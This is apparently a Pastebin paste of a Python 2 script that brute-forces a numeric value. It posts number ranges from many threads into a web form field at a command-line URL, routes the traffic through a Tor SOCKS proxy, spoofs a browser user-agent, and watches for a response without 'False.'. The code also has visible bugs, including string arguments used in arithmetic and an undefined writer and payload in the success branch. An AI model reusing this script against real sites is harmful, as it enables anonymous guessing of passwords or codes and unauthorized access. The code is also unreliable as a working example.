Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- import time, requests, sys, queue, random
- from threading import Thread
- url = sys.argv[1]
- headers = {"UserAgent":"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0", }
- proxies = {'http': 'socks5h://127.0.0.1:9150','https': 'socks5h://127.0.0.1:9150'}
- i = 0
- threadNum = int(sys.argv[2])
- testNumsFromTo = (sys.argv[3], sys.argv[4])
- def makeThreads(threadNum, testNumsFromTo):
- tList = []
- fullRange = testNumsFromTo[1] - testNumsFromTo[0]
- for i in range(1, threadNum + 1):
- numRange = (testNumsFromTo[0] + (fullRange/threadNum)*(i-1) , testNumsFromTo[0] + (fullRange/threadNum)*(i))
- tList.append(getter(numRange, str(i)))
- return tList
- class getter(Thread):
- def __init__(self, numRange, name):
- Thread.__init__(self)
- self.name = name
- self.numRange = numRange
- self.payload = {u'♊': '', 'login':''}
- def run(self):
- global i
- print self.name + ' started ...'
- for self.num in range(self.numRange[0], self.numRange[1]) :
- while True :
- try :
- self.payload[u'♊'] = self.num
- self.data = requests.post(url, data = self.payload, proxies = proxies )
- if ('False.' in self.data.text.encode(sys.stdout.encoding, errors='replace')) :
- time.sleep(random.randrange(0,1000)/10000.0)
- print (self.name + ' ___ ' + str(self.payload[u'♊']) + ' -> num :' + str(i))
- i+=1
- else :
- print ('Done ! ' + str(self.num)) ; self.writer.write(payload[u'♊']) ; self.writer.close()
- break
- except Exception as e :
- print e
- time.sleep(15)
- continue
- break
- threads = makeThreads(threadNum, testNumsFromTo)
- for thread in threads :
- thread.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement